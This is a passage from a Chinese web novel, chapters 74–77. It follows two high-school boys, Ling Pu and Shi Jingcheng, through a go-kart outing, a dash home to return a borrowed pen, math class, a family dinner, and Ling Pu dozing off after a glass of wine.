他露出的大眼睛望着时璟承。 犹豫了一下。 “好像有点危险。” 第74章 秋日微凉的晚风吹拂,凌蒲的眼睛如秋水。 仿佛芦苇荡漾的深蓝湖泊,就这么用从下朝上的角度看着时璟承,溢满担忧。 时璟承没说什么,抬起手——“咔哒”地将卡扣扣上。 动作挺快,看起来就是随意一拨。凌蒲都没怎么反应过来,只后知后觉地感到指尖掠过的一丝凉意,和属于时璟承身上淡淡的高级香。 都是延迟反应。 他圆圆的眼睛望着时璟承,带上点紧张。 时璟承低头,对上这双眼睛。 里面的星星明暗交替着闪烁了一拍,躲来躲去。 “哗”一下,时璟承把镜片拉下来:“上车。” “你说什么,听不清。” 完全戴上之后,凌蒲的世界变得很安静。 他认为时璟承也听不清自己说话,慢速做口型。 时璟承无语地看着他的口型,把人塞进副驾。 教练给凌蒲把手表摘了,上下打量:“没有别的首饰了吧,项链有没有?” 凌蒲在头盔里张嘴,疑惑地“啊?”一声。 “他没有。”时璟承替他回答。 “那行。你开吧,对了,他知道他这边方向盘是假的不?” “得先告诉他一声。”时璟承想了一下,说,“不然可能跳车。” 他关上凌蒲这一侧车门,走到另一侧,开门坐上去。 凌蒲望着他。 像一只任人宰割的小羊羔。 时璟承拧开油门,凌蒲惊慌失措地把住方向盘。 救命。 他还什么都不会,怎么被赶鸭子上架。 原来这就是时璟承诱骗他到这里的目的,不会一会儿突然下车然后让他一个人坐着卡丁车自生自灭吧。 难怪这里的人看起来都和时璟承很熟的样子,是在一起做局。 还说一个小时送他回家,再也回不了家了。 等等——回家不会是另一个意思吧。 不行。 他一手把住方向盘,一手试图抓住时璟承。 时璟承沉默地看着在自己身上乱摸的这只手,在黑色赛车服上很突兀,显得更加白皙细腻,小时候肉乎乎的,现在倒是挺修长。 他发动油门。 一边顺手握住凌蒲手里的方向盘,转动方向。 凌蒲赶紧也使出吃奶的劲儿与之抗衡,但到底是一只手,很快方向盘就被猛地转动,凌蒲在发动机的响声紧紧闭上眼睛—— 却发现什么都没发生。 他偷偷睁开一点,从缝隙里看到竟然还在直线行驶。 低头看看方向盘,抬头看看前方。 似乎get到什么,试着把方向盘小幅度扭了下,再增大幅度,最后360度旋转一周,都不产生丝毫影响。 原来是假的。 劫后余生的喜悦微微包裹了凌蒲,他惊奇地朝外看,难以想象自己已经坐在了一辆飞驰的卡丁车上。 又朝旁边的时璟承看了看,是他在驾驶。 盯了两秒钟,转头看前方。 凌蒲从来没有坐过这样快的车,似乎把风都甩在身后,卡丁车底盘很低,更加大了刺激感。 默默抓紧假方向盘,端正做好。然而到底是十六七岁,很快脑海中闪过无数赛车电影,仿佛自己置身其中,尤其是与驾驶室无异的布置,让他有种自己在开的错觉,天才少年车手就这样诞生。 转弯时偷看一眼时璟承,也跟着他,小心转动前面的方向盘。 时璟承目不斜视,嘴角勾了勾,果断踩下刹车板,车身重量前倾的同时,他手腕向弯心方向切入,车尾甩出后,从容地松了一丝力量,感受轮胎抓地力极限。 接着指尖高速并小幅度修正,左——右——,方向盘在他手里仿佛变成精密的仪器,眼花缭乱着看不清。 时璟承感受到旁边人在凝固,仿佛能看到镜片后面的目光,从他的方向盘挪到自己的方向盘,反复交替了会儿,抬起眼,又扭头回去。 凌蒲自暴自弃地乱转一圈,放弃驾驶,专心体验副驾乘坐的快乐。 “呜——” 直到缓缓刹停在终点,那种震动人心的余韵还在回荡。 等车门被人打开,凌蒲才回过神。 时璟承已经拿下头盔,除了头发微乱之外没什么变化,脸色还是冷冷:“等着我给你开车门?” 围观的成深野已经来到旁边:“奇怪。开这么慢,弯道倒是加速秀了把漂移。” “我想怎么开就怎么开。”时璟承一句话打发他,同时催凌蒲,“你今晚要在车里睡觉?” 凌蒲赶紧在下巴上摸索一番,开了卡扣,努力地把头盔拔下来,放在一边。 迅速伸腿下地,然而在踩上地面的一瞬,如同踩在云彩上,虚浮地一个踉跄,几乎要扑在时璟承怀里。 时璟承立刻后退半步,用腿拦了下,反应神速地揪住他的衣领,把他提起来。 却没有挡住掀起的晚风,是牛奶沐浴露与皂荚混合的清香。 “投怀送抱,这么低劣。” 凌蒲站直:“我只是没站稳,你有点敏感。” “” “走吧,送你回去。” 凌蒲意犹未尽地回头望望,场上还有不少车在跑,刚才的感觉持续回荡。 他走到外面,看到有不少人在拍摄一辆看起来很豪的车,正好在他的行经路线方向。 有点尴尬:“时璟承,我想自己回家。” “又怎么了?”时璟承回过头,不耐地拧眉。 “我要做个低调的人。你的曝光率太高了。” 成深野替时璟承解释:“璟承还不低调?平常都很低调的。” “我不要坐这辆车。”凌蒲抬手一指。 时璟承和成深野顺着看过去,转头告诉他:“你坐不了这辆车。因为这不是我们的车。” “哦。” “但也差不多。”成深野指着另一辆更加奇形怪状的,旁边人更多一点,“那是我家的,今天送你俩回去。” 凌蒲继续婉拒:“我有点害怕这种奇形怪状的车。你们先走吧,谢谢你们。” 他试图开溜。 时璟承抬手,抓住他书包上的狮子,和成深野说:“你先回去吧。我找辆低调的来接他。” 成深野回着手机消息,心不在焉地点点头:“正好我也有点事,那先走了。” 奇形怪状的车在众人目光中呼啸离开,留下凌蒲和时璟承在路边。 特儿的离去仿佛带走了方才狂欢的愉悦和最后一丝安全感,逃跑未遂的凌蒲感到不安。 他忧心忡忡,望着旁边打电话的背影,倍感不妙。 时璟承挂掉电话,揣兜评价凌蒲:“你事真多。” “我想低调一点,你总是用很贵的车送我,我的风评会受到影响的。” “你还有风评?” “是的。邻居都认识我。”凌蒲信口开河,把事情说得严重一点,“他们可能看到了之后就会开始联想,比如我是不是中了一个亿彩票,或者贩卖违禁品,或者被包养,或者投奔黑帮” “停。”时璟承打断,“被包养?” “不无可能。我还很年轻的。” 时璟承垂眼看着他,凌蒲仰脸,睁着大眼睛,一眨一眨。明眸皓齿,唇红齿白。 像是为了让时璟承看得更清楚一点,轻风吹散额前碎发,露出清晰的五官和脸颊流畅的弧度。 饶是时璟承从小在明星堆里长大,此刻客观评价,凌蒲的长相气质是独一份。 “有可能。”时璟承淡淡。 凌蒲认为事情有转机,期待对方快放他走。 “放心。找了很低调的车。” 凌蒲的心又沉下来,焦灼地等着,不知过了多久,一辆银灰色土土面包车停在他面前。 他看了一眼,朝旁边挪两步。 面包车追着他开,挨在旁边,仿佛在贴贴。 “?” 凌蒲回过头。 车窗被降下来,露出一张和蔼慈祥的脸,正是上回时璟承那个司机。 “上吧。足够低调。”时璟承替他拉开门。 司机回头笑:“时先生,把我儿子车开来了。来得太急,没清洗外面,不过里面是干净的。” 凌蒲没话说了,默默坐上去。 “还是上回那个小区吧?”司机问凌蒲。 他对这个“少爷第一次带回来”的小男生印象深刻,很有礼貌,讨人喜欢。 没等凌蒲回答,时璟承先开口:“对。在楼下等,他上去拿个东西下来。” 凌蒲讪讪:“你还记得呀。记忆力真好。” “是。不像某些人忘性大。” 时璟承摸出耳机戴上,不再和凌蒲说话。 凌蒲望着窗外过去的景色,车子在不断前进,离那个假冒小区的距离越来越近。 他有点发怵,飞快地在脑海中想对策。 先搜索了一下附近的文具店,从线上试图找到时璟承那支同款笔。但在常见款式里没见到相似的,他又不完全记得长什么样。 要是买错了就弄巧成拙。 最终,忽然灵光一闪。 【/粽子:爸,帮我个忙好吗?你帮我把柜子最后一层的那个箱子拿出来,里面有只黑笔,可能落在缝隙里了仔细翻翻。然后把它送到隔壁小区任意一栋楼里,随便找个楼层等我。】 【一飞冲天:你疯了还是我疯了?】 【/粽子:@妈妈,你有空吗?】 【白芷微香:你又抽什么风?玩完赶紧回家吃饭】 【/粽子:/难过】 凌蒲在心中想象自己被时璟承做掉之后,看着这串记录追悔莫及的凌逸飞和钱芷。 眼看车子已经要进入隔壁小区,绝望之际,忽然一个高大的人影挺身而出。 只见他身穿保安制服,戴着反光马甲,拦下这辆车:“外来车辆不许进。” 凌蒲如释重负:“不好意思。要不你们在小区门口等一下吧。” 司机没多想,便准备停在门旁边。 凌蒲打开手机,看到这小区果然有一个后门,只需要穿越七百米,就可以到达另一个门,而后门离他家小区的直线距离为2km,所以加起来是2.7km。 区区2.7km。凌蒲认为可以苟一苟,等车子停稳,他拉开车门。 “五分钟。”时璟承在身后说。 第75章 凌蒲开门的动作稍顿,问时璟承:“你知道博尔特的世界纪录是多少吗?” “9,58秒。” “50米吗?” “100米。”时璟承淡淡,“怎么?” “谢谢。等我一下。” 凌蒲侧过手机,编辑问题提问豆包老师。 很快就得到答复: 【你好,很高兴回答你这个有趣的“思想实验”问题!尤塞恩·博尔特是短跑运动员,他从未在正式比赛中跑过2.7公里这么长距离。假设计算:百米记录为9.58秒,平均速度为10.44米/秒,2.7公里需要约4分18秒】 还真小于五分钟。 凌蒲弱弱地看了时璟承一眼:“你还挺人性化的。” 他默默打开车门下车,背影淡定,装作熟稔地来到紧闭着门的入口处。 和路人从容搭讪:“奶奶,你要去哪里,我帮你提吧。” 准备回家的老太太警惕地瞅他一眼,把袋子往身前一护:“不用。” “求你了奶奶,让我和您一起进去吧。”凌蒲哀求,他家四个老人和上一辈亲戚都很喜欢他,对长辈撒娇是信手拈来的事情。 老太太看着这张白净的小脸,果然态度松动些,替他刷开门禁,放进去。 “谢谢奶奶。”凌蒲开始小步快走,转过弯之后奔跑起来,一直跟着手机地图顺利来到后门,眼前一亮。 taxi! 或许这个小区后门是什么重要的交通枢纽,竟然有一辆辆写着“空车”的出租车停在这里等客人。 天无绝人之路。车到山前必有路。 这些车如同天外来客UFO,在凌蒲眼里散发着绚丽光芒。 他跑上前。 “叔,帮我送到这个小区呗。”凌蒲展示导航,“大概要多久?” 司机看了一眼,有点不太乐意:“这么近啊,我搁这等半天了,起码得超过起步价吧。” “一个来回,肯定能过起步价,我再多给你点钱叔叔。”凌蒲看司机的眼神如同救命恩人,一切近在不言中。 “这么急?那行,你上来。” 饱受信任的司机一脚油门,2分钟就给他送到。 凌蒲继续奔跑回家,抽出柜子翻翻找找,一溜烟跑出去。 仿佛一阵风。 “逸飞,我刚刚好像听门响了一声。”书房的钱芷走出来,问客厅的凌逸飞。 “确实。你儿子跑进来一趟又跑出去了。”凌逸飞靠在沙发看电视,翘着腿。 “最近神出鬼没的,不知道忙什么。”钱芷有些担忧,“会不会是转学之后遇到什么困难了。” 凌逸飞不以为意地调了个台:“能有什么困难啊。学习上也没人给他压力,这次还刚走狗屎运考了个前五十。人际关系一直不错,不是新认识不少朋友?而且性格又佛,别人骂他一句得三天才能反应过来。安全得很。” 钱芷在旁边想了半天,确实想不出凌蒲会遇到什么困难。 最后勉强想出了唯一的可能性:“会不会是早恋了。最近不时就回家挺晚,前一阵捧着个密码本不给别人看。以前他日记从来都不上锁的。” “你真是杞人忧天。”凌逸飞了解自己的儿子,“他能在30岁之前牵上手就不错了。你把心放肚子里吧,估计就是和哪个小伙伴在玩躲猫猫。” “也是。还天天穿卡通t恤呢。”钱芷坐下来和凌逸飞一起悠闲地看电视。 凌蒲十分焦灼,跃进楼下等他的出租车:“叔,回刚才那个后门!” 一番波折之后,重新回到面包车处。 “哗”地拉开门,坐进去。 “7分28秒。”时璟承说,“超时了。” 凌蒲转身,带起一阵风,一手撑着座位,一手把笔举到时璟承面前:“你的笔。” 他头发被风吹了个发型,被汗水沾湿一撮,露出的眉毛和眼睛也湿漉漉,一看就是跑得很急。 这么来回四公里,就为了时璟承的这支笔。 “没给别人?”时璟承接过来,把凌蒲朝后推了推,距离有点太近。 “没有啊,怎么会给别人。” 凌蒲用非常意外的语气说,他从来不会随意支配不属于自己的物品。 话音落之后,偷偷看了一眼时璟承,发现对方的眉目似乎舒展了一些,气压不再那么低。 这才意识到不是错觉,今天时璟承的心情就是不太好。 “你以为我把它送给别人了吗。”他试探地问。 时璟承眉毛一挑,冷道:“你敢。” “不敢不敢。”凌蒲顺着哄道,“我不会把你的东西给别人的。” 想起他家之前养了第二只有点凶的猫,总和原住民打架,在炸毛之际需要及时抚摸,浇灭怒气。 时璟承要更大型一点,可能是同为猫科动物的老虎。 凌蒲又觉得这个过程也莫名熟悉。 最近不时有这种很奇妙的熟悉感。 看到对方的态度良好,时璟承把笔收起来,淡淡:“原谅你了。走吧。” “谢谢。”凌蒲礼貌地告别下车,“也谢谢你带我玩卡丁车。” 正要关车门的时候,忽然想起什么,摸出手机,望着时璟承。 即使是小破面包车里时璟承也坐得挺有气势,长腿微微屈着,交叠起来,气场强大地抱臂。 凌蒲问:“这次多少钱,距离好像要更长一些。” 他还记得资本家的顺风车事业,虽然是强买强卖。 时璟承看了他两秒:“15。车破。” “你真的挺良心价。”凌蒲说,“相信你的事业会成功。我得再扫一下你的收款码。” “懒得掏手机。欠着。”时璟承伸手关上车门,把凌蒲拒之门外。 “” * 第二天,凌蒲睡眼惺忪地刷着牙。 钱芷在旁边替他展着校服外套,拍拍打打,确保没有褶皱和灰尘,叮嘱:“下回早点起床,饭每回吃早饭都风风火火的,对胃不好。” “好吧。”凌蒲含糊点头。 “和同学相处怎么样啊,之前听你爸说你和你同桌关系挺好的?” 凌蒲脑海里跳出时璟承的脸,皱了一下眉头,不过又反应过来钱芷说的应该是宋昭,之前放学路上和凌逸飞提过。 “我换了个同桌。” 他漱完口,用热毛巾擦了把脸,从钱芷手里接过校服外套穿上。 “哦对,差点忘了你换班级。新同桌怎么样,好不好相处,是男生还是女生?”钱芷关注儿子的生存环境。 “老虎。” 凌蒲鼓起脸颊,竖起眉头,做了一个凶狠的表情,但对着镜子看了眼,发现毫无攻击性。于是当作无事发生地背着书包出门上学。 这是来到这个新班级的第一天,一切都得重新适应。 早读已经开始,他迅速把昨天收拾到一半的书随手塞进桌子。不知道为什么自己这么多书,旁边的桌子这么简洁。 凌蒲朝旁边瞄了一眼。 时璟承正低头做题。 侧颜也挺完美的,鼻梁高挺,下颌清晰,垂下的睫毛根根分明,配上外面清晨的阳光,十分赏心悦目。 凌蒲瞅两眼,才把注意力回转到自己的书上。 悠哉的状态持续到上第一节数学课。 他照例拿出月考试卷,按道理来说考完试之后都是要讲解试卷的。 “同学们。”任展飞语速比平常要快,“月考试卷都是基础题,没什么讲的意思。拿出昨天的小练和竞赛题教辅。” 他直接开始板书。 凌蒲便收起月考试卷,拿出这本崭新的教辅。 听了会儿,一脸懵逼。 他以前数学试卷最后两题的最后一问都是默认直接不做的,没想到这节课全部是第三小问的集锦,完全听不明白。 默默抄了会儿板书,笔尖停顿一会儿,笔记上开始出现一个圆。 给圆上面画两笔,中间画几笔,变成一只小狗。小狗旁边如法炮制,再画一只小猫,小猫旁边画只小猪,整整齐齐的小动物代替了枯燥的数字。 凌蒲想要继续创作。 忽然被任展飞点名:“给大家五分钟时间计算一下最终结果。五分钟之后凌蒲来报答案。” 凌蒲惊慌。 他早就没有跟上过程了,于是瞅一眼旁边淡定的时璟承,小声说:“时璟承,帮帮我。” “不帮。” “告诉我一下嘛。” “不告诉。” 凌蒲没有办法,只得默默闭嘴。此刻周围其他人都在奋笔疾书,看起来还没算完。 他只能把书放在一边,在草稿纸上试着重头算,度过了坐以待毙的五分钟。 “凌蒲,报答案吧。” 凌蒲缓缓站起来,低头看着书上的题目,忽然发现画的小猪脑袋上多了个数。 死马当活马医地报出来,竟然是对的。 “不错啊新同学,请坐吧。我们一起来看下一道——” “谢谢你,时璟承。” 下课,凌蒲对时璟承施以援手表示感谢。 “什么。”时璟承一脸不相干。 凌蒲指着书笑道:“除了你还能有谁,总不能是这只猪自己想出来的吧。” 时璟承无语:“你一直这样说话吗,没被打过?” “没有。我从小到大都与人为善,没被打过。”凌蒲忽然想起什么,补充,“如果你不带人打我的话。” “我会的。”时璟承笃定地沉着脸,继续写题。 “那我不和你说话了。”凌蒲小怒一下。 拿出下节课要用的语文书放在桌角,用戴眼镜的小熊压着,准备趴桌子上睡会儿。 忽然任展飞走过来:“凌蒲,把刚刚的计算过程整理下,抄在白纸上。放学之前给我,我复印给其他同学。” “好的老师。”凌蒲点头。 等任展飞离开之后,他默默看着时璟承。 时璟承不看他,偏转角度。 凌蒲持续凝望:“时璟承,教教我。” 第76章 题太难,时间紧,凌蒲把时璟承的拿过来誊抄一遍。 将笔锋遒劲的数字变得圆润,大功告成。 他很满意。 “我把我的答案放在桌上。”他和时璟承说,“一会儿任老师要是来的话帮我交一下吧。” “这是我的答案。”时璟承纠正。 “好吧。”凌蒲敷衍,“同桌之间不必如此。” 他起身去外面透透风,趴在栏杆上,抬起手表看日历。 两天之后的位置标注了一个笑脸。这属于美好的国庆假期,竟然可以有足足七天假。 其中三天程益添来找他玩,还有四天的空白日程。 太快乐。 哼着小曲儿,在外面吹了一个课间的风,才重新走进教室。 接下来的语文和英语课听得都挺轻松,副科也听个囫囵。除了数学之外,凌蒲觉得课程都可以胜任。 愉快心情持续到放学,任展飞一边给大家发答案,一边宣布: “各位,国庆假期前我们会按照惯例举行小测。我们1班小测不跟全年级,就考这周和上周讲过的题型,加一道新题,总分一百。八十分以下的同学国庆加三张卷子,自己申请到学校上两天自习。” 凌蒲大惊失色。 任展飞继续:“新来的同学可以借其他人的学习一下,相信到这个班的同学学习能力都是很强的。来了就一视同仁。” 话音落下,放学的铃声正好打响,任展飞拿着剩余试卷离开。 凌蒲无助地转向时璟承。 时璟承写完最后一道题,合上书本和笔,收拾东西。 “时璟承,笔记可以借我看一下吗?” “不可以。” “是你非要让我到这个班来的,得负责到底啊。” 凌蒲忿忿地进行道德绑架,要不是时璟承,他现在还在原来的班级如鱼得水,不会遭遇这样的事情。 时璟承垂着眼睛收拾书包:“我不习惯记笔记。草稿纸放学就丢掉。” “那我不要在这个班了,我要降回去。”凌蒲自暴自弃。 “我可以给你补。” “那你快给我补吧!”凌蒲对知识充满渴望。 时璟承吊着他:“但是我这两天放学有事,没法留在学校。” 凌蒲收拾东西。“那我还是降回去好了。” “或者你先跟着我把事办完,结束给你补。” “不找你。我要找沈庭赫帮我补。” 凌蒲对这个第二名的印象十分深刻,在他心目中这可是能够超越时璟承的种子选手,虽然和沈庭赫并无交流,但能感受到他的人气似乎也挺高。 时璟承停下动作,转头看着他,似笑非笑。 凌蒲认怂:“开玩笑的。我只听你讲题,别人讲的听不懂。” 出了班级,他跟在时璟承旁边,偷偷落后一个身位,直视前方,假装只是路人。 时璟承停下脚步。 转头看着他:“和我一起走很丢人?” “我喜欢低调。”凌蒲说道,同时左右看看。 因为没有完成苏颜杉的任务,他内心一直十分不安,担心被时璟承的情报团拍到。 虽说都是业余的,概率没有那么密集,但比较随机,并不能保证什么时候出现。 时璟承无语地看着凌蒲。 对方的校服拉链依然没有拉到顶,露出一截白皙干净的脖颈,宽大的校服衬得人挺清瘦。 一只手突兀地进入视野,只见宋昭从旁边搭上凌蒲的肩膀,原本齐整的校服也随之变了形。 “好巧!”宋昭亲亲热热地揽住,“凌蒲你去哪?” 时璟承看着他的黑框眼镜,和那个看了一天的戴眼镜的小熊摆件非常像,阻碍他的视线。 “一起走吗?我今天没什么事。”宋昭问凌蒲。 “我” “他有事。” 上方传来波澜不惊的声音。 宋昭抬起头,看到时璟承,假装不认识这位风云人物:“你是?” 时璟承把凌蒲从宋昭旁边拉过来,通知:“他的新同桌。” 掷地有声,配合上气势,把宋昭震了一震。直到那两人走远,才后知后觉地反应过来。 同桌是什么很了不起的身份吗? 凌蒲也这样认为:“这样有点不好。而且你捏得我胳膊有点痛。” 时璟承一直拽着他走,凌蒲感到不自由。 “你和别人勾勾搭搭的时候怎么不痛?” “没有勾勾搭搭。那叫勾肩搭背,你的语文水平真的有点一般,小心下次被超越。” 凌蒲认为沈庭赫在语文上超越时璟承的可能性最大,是一个重要的突破口。 “不用你费心。”时璟承放手,“你比我想象的还要松软,上次给你估计的体脂率低了。” “松软这个词,也用的不对。”凌蒲活动一下自己的胳膊,转移话题。 时璟承带着他来到车前,拉开车门,朝里塞的动作顿了顿: “你怎么在这?” 后座竟然有人,凌蒲吃惊地看着。 十多年没有见了。 邵晚熠和年轻时差别挺大。当时一双桃花眼风流轻浮,现在多了一丝成熟的魅力,把气质朝稳重压了压。 再结合惊艳的五官,有种迷人的气质。 凌蒲惊呆。 邵晚熠也挺意外,看着后面的时璟承,挑眉:“这是谁?” “同学。”时璟承说,“你去前面坐吧。” “你小子真是层出不穷地想招。就让你单独吃个饭难如登天。”邵晚熠调侃,“什么同学这么可爱,就坐后座呗,时璟承你坐前面去。” “可爱?我告诉我哥。” 邵晚熠讪讪,下车坐到副驾。 凌蒲搓了搓衣角:“你真有事啊,那要不算了,我自己学习吧。” 他转身想溜,被时璟承揪住,丢到座位上。 “吃个饭而已。多你不多。” 小时候顾乾意识到忙于工作而疏于对时璟承关心后,为了保证他的健康成长,每个月一定要一起吃五次饭。 原本时璟承对这个环节比较满意,直到不知从哪天开始,邵晚熠非要强行加入他和他哥的独处时光。 让他不得不直面这段他不同意的关系,每回和电灯泡似的。 开始想方设法地拒绝,并带人一起去。 凌蒲拘谨地坐在后座上,邵晚熠不时从后视镜看一眼。 他知道时璟承有分寸,能被时璟承带回来和他俩一起吃饭的肯定不是普通路人,但看两人的关系又不像太熟。 这小孩长得确实挺可爱,白白嫩嫩,像个棉花团,不知道是什么人。 “你别看了。再看告诉我哥。”时璟承告诉他。 “还想挑拨离间。”邵晚熠嗤道,“以前翘课被抓,让我给你签字的时候怎么不说告诉你哥。” 凌蒲偷听。 和时璟承对上眼神,立刻转头看风景。 到了餐厅之后,顾乾看到多了个人并没太多意外,只是问时璟承:“成深野有事?随便抓了个小孩来。” 邵晚熠笑道:“每次都让成铭家那个当工具人,人家是不是终于罢工了。” 他们并没有询问凌蒲的身份,对时璟承的交友不过问。 凌蒲跟着微笑。 菜上来之后,矜持地望着满桌佳肴美食,都是他没吃过的。 “吃。”时璟承说。 本来打算浅尝一下的凌蒲皱皱眉头,放下筷子。 时璟承顿了顿,改变说法:“分享。” 凌蒲满意,开始吃得比较收敛,逐渐沉浸于美味之中,大快朵颐。 “我怎么感觉你有点眼熟?”邵晚熠终于问道。 不等凌蒲回答,时璟承先说:“哥,他搭讪。” 邵晚熠皮笑肉不笑,只后悔没趁时璟承小时候偷偷揍一顿。 “顾乾,你看你弟平常就是这么欺负我和污蔑我的。”邵晚熠向顾乾求助。 顾乾象征性地制止一下:“时璟承,别这样。” 又看了一眼吃得正欢的凌蒲,也有类似的熟悉感。 不过他和邵晚熠见的人太多,一时对不上号,也没有多想。 一顿饭吃了一阵子,邵晚熠和顾乾抬手看表,有事要先走。 “你们继续吃,吃完让司机送回去。”他们叮嘱道。 这是时璟承第一次在他俩后面走,因为凌蒲还在很认真地吃着,这可能是这个持续十来年的聚餐活动里第一次有人在认真吃饭。 以前除了成深野外,时璟承也带过别的朋友,但大都表现得挺紧张,少有能这么放松的。 等邵晚熠和顾乾走了之后,时璟承翘起腿:“猪。” 凌蒲才发现对面已经没人。 他自以为已经吃得很收敛和隐蔽,速度也放慢了,只是其他三人都不怎么吃,衬得他好像很能吃。 有点沮丧,放下筷子:“不吃了。” “继续吃。”时璟承说。 “不吃。你说我是猪。”凌蒲很忧伤,正巧看到面前没有动的红酒杯,怒饮。 像喝饮料一样,一口闷。酸酸甜甜,酒味在咽下去那一刻才在口腔里迟到,皱皱眉。 时璟承只拦下了一个空杯子。 他倍感不妙,向来淡定的神情也有点不稳:“谁让你喝酒了?” “红酒而已。”凌蒲一挥手,“又不是没喝过。快找地方给我讲题吧。” 时璟承不知道以前凌蒲喝的是什么酒,但深知这种葡萄酒的度数和酒劲,朝服务员要了一杯橙汁:“把这个喝了。” 凌蒲紧闭牙关,说什么都不再摄入任何食物。 “气性还挺大。”时璟承只得说,“下次不说你了。” “那下次再吃。”凌蒲要听数学题。 他还没有意识到自己的呼吸已经带上了红酒的甜香,脸颊和耳朵仿佛也被葡萄酒染了色,泛着淡淡的粉。 时璟承犹豫。学校是去不了了,而且凌蒲气质太干净,旁人一看就感觉是被人哄骗喝酒似的,去哪都没法交代。 最后,只得问:“和我回家讲给你听,去不去?” 第77章 顾乾的司机来接他俩。 比家里的司机更有分寸感一些,直接升上后座的挡板,并不多看多问。 空气中混合一点葡萄酒的酒香,还有凌蒲身上淡淡的清香,在密闭的后排空间扩散交织。 时璟承降下一点车窗,让晚风涌入,戴上耳机。 凌蒲上车时还很清醒,看着窗外的景色飞驰而过的景色,明亮的流光拉成一道道线,逐渐意识模糊。 等车子停稳,时璟承摘下耳机,转头一看,发现凌蒲已经睡着。 暖黄车灯下,这人侧靠着椅背,睡得毫无防备。脸颊泛着红,睫毛投下柔和光影,呼吸匀称,那张总是叽叽喳喳的嘴变得很安静,轻轻抿起。 他下车来到另一侧,打开车门,拍了拍凌蒲的脸,触感热热的:“喂,下车。” 凌蒲只是在冷风进来时瑟缩一下,无意识蹭了蹭唯一的热源,便再无反应。 时璟承迅速收回自己的手,拧眉。 盯着如同羊羔一般的凌蒲,恶劣的想法逐渐升腾。 早就想做这样的事了,他再次伸出手,指尖下滑,捏住了凌蒲脸颊那点柔软的弧度,稍稍用力。 这么一捏,发现和想象中的一样,软软的,现在温度还高,像是在阳光下晒过的面团,又或是刚刚出炉的白米糕,也像他的名字,一块粽子里的糯米团。 时璟承垂着眼,观察。 直到凌蒲摸摸自己的脸,迷糊含混地嘟囔一声,精准按住时璟承的手:“你摸我干什么?” 本来想下车看看是否要帮忙的司机听到这话,一个丝滑闪身,重新回到车上,反应敏捷迅速得如同经过训练,成为了肌肉记忆。 “叫你下车。”时璟承冷脸,“快点。” “不要。”凌蒲声音黏黏糊糊,眼睛都没有完全睁开过,“我困。” 时璟承和他僵持一会儿,抬手看了看腕表,又推了他两下。 凌蒲睡梦之中纡尊降贵地朝时璟承伸出手,等待搀扶。 “” 时璟承俯身,把他从车里扒拉出来,架住放在地面上。 一出车门就立刻松手,谁知凌蒲却抱住他的胳膊不松手,整个人倚上去,把他当成了柱子。 为了站稳,时璟承只能扶住他的腰。 前面的司机迅速下车,目不斜视地替他们关上车门,扬长而去。 时璟承看着车的影子,一阵沉默。 “喂。你能走吗?”时璟承不想再继续当柱子。 “不要。我头晕。”凌蒲趴在他肩膀上,埋着脑袋,“你给我喝酒了?” “你自己喝的。”时璟承冷静阐述。 看了一眼,离家门也就几步远,于是耐心耗尽地把凌蒲一提一抗,像搬运行李般进门,丢在最近的沙发上。 再低头拍了拍身上不存在的褶皱,眉头微拧。他并不喜欢和别人有肢体接触。 却没等几秒,又被抓上,这回是整个人贴过来,抱住。 凌蒲觉得自己仿佛在海上漂泊,摇摇晃晃,需要抱紧一棵大树。 时璟承态度坚决而冷硬地推他,都没有推开。 “给我讲数学题吧。”凌蒲贴着他,闷闷的声音传来,“我可不要多做三张卷子,还要上两天自习,我国庆还有事呢。” 时璟承侧过脸:“什么事?” “益添来找我玩。” “谁?” 时璟承伸出两根指头,推开他的脸,声音冷下来。 “程益添。我的好朋友。” “你怎么那么多好朋友。” “嘿嘿。”凌蒲傻笑,又一眨不眨地盯着他的鼻梁,“我感觉你长得挺帅的。” 时璟承:“” 沉默许久,他忽然开口:“你也会叫他小天哥哥吗?” “小天哥哥?”凌蒲重新抬起头,望着时璟承,努力对焦。 时璟承一愣,反应过来后揪住凌蒲的领子,居高临下地看着他。 凌蒲没有任何危险意识,笑着朝后一靠,时璟承被他带得失去平衡,在他身侧撑了一下,两人的距离瞬间拉近。 时璟承看着他。 又是这双充满欺骗性的眼睛,澄澈得仿佛一眼望到底的湖畔,常常带着笑意,像是在春日里被晒得暖洋洋。却很会骗人,能够头也不回地利用。 在他以为交到了第一个朋友的时候。 时璟承神色变冷,把凌蒲丢在沙发上,外套忽然一重。 “教我数学题。”凌蒲拉住他。 神色又很单纯,凌乱的衣角下露出截白皙的腰,像是毫无防备翻肚皮的猫。 猫和他讲道理:“我本来在原来的班级待得好好的,你让我升班,升完又不管,很不负责的。” “那你呢?”时璟承的声音低下去,“你又负责吗?” 他把凌蒲的头发按下来,挡住这双眼睛。 站起身,重新把衣服整理得一丝不苟,望着沙发上多出来的人,沉思。 一阵手机震动和铃声打断了他,犹豫,伸手从凌蒲身上摸出他的手机。 手机和凌蒲一样坦荡,不少消息都在密码之前跳出,锁屏最上方挂着一条消息:【今晚还上晚自习吗?十点半回来?】 时璟承犹豫一下,接通。 “怎么没回消息,去哪里了?”那边传来一个温柔的女声,推测应该是凌蒲的妈妈。 时璟承把电话拿到凌蒲耳朵边,拍了他两下。 倒是没什么用,不过等那头音量提高,凌蒲自动睁眼,半梦半醒:“喂,妈。我在同学家,准备学数学呢。晚上回去。” “行,让我爸来接我。学完发消息。” 门铃响起,是时璟承刚才叫的醒酒汤外卖,三下五除二打开,发现凌蒲已经放下手机,重新贴着沙发沉睡,手里还抱着个抱枕,脸颊挨住柔软的布料。 他正想直接灌下去,凌蒲感受到靠近,配合地伸手摸索,像喝药那样一饮而尽。 砸吧砸吧,评价:“不好喝。” “你装的吧。”时璟承质疑。 凌蒲躺平,满足道:“这个床好软。你怎么可以给我喝酒。” 时璟承随手扯了张薄盖在他身上,无语地离开:“睡醒自己走。” * 第二天一早,凌蒲懵逼地望着自家天花板,陷入沉默。 意识逐渐回笼。 “爸!爸!妈!”他猛然坐起来,喊道。 凌逸飞和钱芷都被他叫过来。 “一大早喊什么?” “昨晚我是怎么回来的?”凌蒲用被子挡住自己,吃惊。 “我去接回来的。”凌逸飞说,“你同学把你送到了路口。” “昨晚都困成什么样了?眼睛都睁不开。快点起床上学吧。” 钱芷催促。 凌蒲满脑子完蛋了,昨天作业还没写完,回来怎么就直接睡觉了。 匆匆洗漱完,一路飞奔到学校,赶紧拉开书包,朝外掏作业。 “语文英语都写完了,物理下午才交,数学特地留了两道大题——” 凌蒲把作业全放在桌上,飞快翻开数学那一页,愣了愣。 难以置信地眨了眨眼睛,重新翻开。 只见数学最后一题不知什么时候已经被写上,而且字迹和前面一模一样,数字挺圆润。 